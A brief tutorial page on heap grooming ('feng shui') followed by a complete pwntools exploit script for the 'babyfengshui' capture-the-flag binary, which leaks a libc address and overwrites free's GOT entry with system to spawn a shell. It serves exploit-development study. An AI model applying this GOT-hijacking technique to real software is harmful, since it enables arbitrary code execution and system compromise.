Link to this headingHeap Grooming

These Techniques are used to make a Heap Exploit more reliable.

Link to this headingFung Shei

By Mallocing many objects this makes a huge block of allocated memory.
Then by selectively deallocating objects that were allocated this creates specific unallocated memory locations that are near to other consolable objects.

Example Exploit

Exploit Solution:

#!/usr/bin/env python from pwn import * import subprocess import sys import time ELF_PATH = "./babyfengshui" LIBC_PATH = "/usr/lib32/libc.so.6" elf = ELF(ELF_PATH) libc = ELF(LIBC_PATH) def add_user(desc_len, name, text_len, text): r.sendlineafter("Action: ", "0") r.sendlineafter("description: ", str(desc_len)) r.sendlineafter("name: ", name) r.sendlineafter("length: ", str(text_len)) r.sendlineafter("text: ", text) def del_user(index): r.sendlineafter("Action: ", "1") r.sendlineafter("index: ", str(index)) def show_user(index): r.sendlineafter("Action: ", "2") r.sendlineafter("index: ", str(index)) def update_user(index, text_len, text): r.sendlineafter("Action: ", "3") r.sendlineafter("index: ", str(index)) r.sendlineafter("length: ", str(text_len)) r.sendlineafter("text: ", text) if __name__ == "__main__": #r = remote(HOST, PORT) r = process(ELF_PATH) add_user(50, "A"*123, 12, "a"*12) add_user(50, "B"*123, 12, "b"*12) add_user(50, "C"*123, 12, "sh\x00") # user[2], desc = "sh\x00" (for later's GOT hijacking) del_user(0) add_user(90, "D"*123, 12, "d"*12) add_user(50, "E"*123, 0x100, "i"*0xf8 + p32(elf.got['__libc_start_main'])) # now user[4]'s desc is user[0]'s desc (in previous) # user[4]->desc + 0x2c8 = user[4], which means we can overflow user[4]->desc & overwrite user[1]->desc to [email protected] # leak address show_user(1) r.recvuntil("description: ") libc.address += u32(r.recv(4)) - libc.symbols['__libc_start_main'] system_addr = libc.symbols['system'] log.success("libc: "+hex(libc.address)) log.success("system: "+hex(system_addr)) # change user[1]->desc into [email protected] # hijack free's got, then free user[2] to get shell update_user(4, 0x100, "i"*0xf8 + p32(elf.got['free'])) update_user(1, 5, p32(system_addr)) del_user(2) r.interactive()